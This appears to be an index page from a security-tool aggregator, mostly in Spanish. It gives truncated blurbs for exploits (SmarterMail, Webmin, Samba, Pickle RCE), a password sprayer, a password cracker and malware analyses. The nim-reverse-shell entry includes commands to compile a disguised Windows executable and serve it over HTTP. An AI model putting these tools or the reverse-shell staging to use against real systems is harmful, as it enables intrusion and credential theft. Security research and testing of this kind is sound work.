CVE-2026-34160

CVE-2026-34160 — SSRF sin autenticación en Chamilo LMS a través del plugin PENS pens.php Severidad : Alta CVSS 7.5 CWE : CWE-918 Server-Side Request Forgery Afectado : chamilo/chamilo-lms 2.x commit af6b7002 y anteriores Aviso : GHSA-g2xj-4cch-j276 NVD :...

flagyard-ctf-writeups-

BlogHub Exploit Kit Flagyard Training Labs - Web / Medium / 1...

Exploit for Missing Authentication for Critical Function in Smartertools Smartermail

SmarterMail ConnectToHub RCE A Python-based exploit for CVE...

Exploit for Missing Authentication for Critical Function in Smartertools Smartermail

SmarterMail ConnectToHub RCE A Python-based exploit for CVE...

Security Bulletin: IBM Instana Observability is affected by multiple vulnerabilities within Instana Agent container image

Summary Multiple vulnerabilities were addressed in IBM Observability with Instana within Instana Agent container image build 1.0.324 Vulnerability Details CVEID:CVE-2026-44892 DESCRIPTION: Netty is a network application framework for development of protocol servers and clients. Prior to version...

SigDigger

SigDigger - El analizador de señales digitales gratuito SigDigger es un analizador de señales digitales gratuito para GNU/Linux y macOS, diseñado para extraer información de señales de radio desconocidas. Soporta una variedad de dispositivos SDR a través de SoapySDR, y permite demodulación...

bugbounty_tools

bugbountytools Colección de scripts y herramientas utilizados durante el trabajo de bug bounty. Este será el lugar donde se encuentren mis scripts de automatización creados para mi uso personal, y ocasionalmente publicados de forma pública Contacto: Para preguntas, comentarios o solicitudes,...

trivy-plugin-attest

trivy-plugin-attest Publicar atestación de SBOM Instalación root@kitploit: $ trivy plugin install github.com/aquasecurity/trivy-plugin-attest Uso root@kitploit: A Trivy plugin that publish SBOM attestation Usage: attest flags Examples: trivy attest --type PREDICATETYPE --predicate PREDICATEPATH...

pickle_exploit

PickleExploit Demostración de una vulnerabilidad de ejecución remota de código mediante la serialización Pickle en ClearML 🖥️ Este script fue desarrollado por h3x0v3rl0rd. Esta prueba de concepto PoC demuestra una posible vulnerabilidad de seguridad relacionada con la serialización y...

smb-usermap

Samba "username map script" Ejecución de comandos Este módulo explota una vulnerabilidad de ejecución de comandos en las versiones de Samba 3.0.20 hasta 3.0.25rc3 cuando se utiliza la opción de configuración no predeterminada "username map script". Al especificar un nombre de usuario que contenga...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Ejemplo: root@kitploit: sudo apt install nim actualiza el script en consecuencia root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget...

Webmin1.910_exploit

Webmin 1.910 Exploit de Ejecución Remota de Código Descripción: Este repositorio contiene un script de Python 3 diseñado para explotar una vulnerabilidad de ejecución remota de código en Webmin versión 1.910. El script utiliza el endpoint sessionlogin.cgi para realizar la autenticación y desplega...

OWA-Password-Sprayer

OWA-Password-Sprayer Sprayer de contraseñas OWA Este script de Python facilita el rociado de contraseñas password spraying contra endpoints de Outlook Web Access OWA. El rociado de contraseñas es una técnica utilizada para probar una única contraseña contra múltiples usuarios, con el objetivo de...

samsung-q60t-exploit

Exploit de Tizen Descripción Script de exploit y descifrado de firmware presentado en Grehack 2021. Las diapositivas están disponibles dentro del directorio slides . y el video de la repetición enYoutube . Directorios Este repositorio contiene tres directorios: exploit/: contiene el exploit de v8...

yealink_tools

Ingeniería inversa del firmware de Yealink Este repositorio contiene algunas utilidades de script utilizadas durante la ingeniería inversa del firmware de los teléfonos VoIP de Yealink. Para obtener más información sobre esta investigación, lea la entrada del blog...

autonmap

autonmap Uso este script para el escaneo Nmap de HTB:...

Radmin3-Password-Cracker

Radmin Server 3 Dumper/Cracker Para más contexto sobre esta herramienta, consulte https://www.synacktiv.com/publications/cracking-radmin-server-3-passwords.html ! Cómo usar : Paso 1 : Recupera la información de usuario de Radmin Server 3 de...

php_filter_chains_oracle_exploit

PHP 过滤器链：基于错误预言机的文件读取 该 CLI 用于利用受 PHP 过滤器链中基于错误回显的预言机（error-based oracle）所导致的文件读取影响的参数。当这些参数被传递给 file、hashfile、filegetcontents 或 copy 等脆弱函数时，即使服务器不返回文件内容，该工具也能泄露本地文件的内容！ 只要对文件内容执行了某种操作，并且完整 URI 可控，该函数就会受到 php://filter...

laravel_cookie_killer

Laravel Cookie 杀手 一个基于 python3 对 Laravel Cookie 进行加密/解密的工具 先决条件 要使用该工具，你需要提取 Laravel 项目根目录下 .env 文件中的 APPKEY base64 值。 会话也必须存储在用户的 Cookie 中。因此，.env 中存储的 SESSIONDRIVER 值必须设置为 cookie。 安装 使用 venv 安装该工具： root@kitploit: $ python3 -m venv env $ source env/bin/activate $ python3 -m pip install -r...

krustyloader-analysis

Análisis de KrustyLoader Este repositorio contiene recursos relacionados con el análisis realizado sobre KrustyLoader y disponible en esta publicación de blog: https://www.synacktiv.com/publications/krustyloader-rust-malware-linked-to-ivanti-connectsecure-compromises. un script de Python para...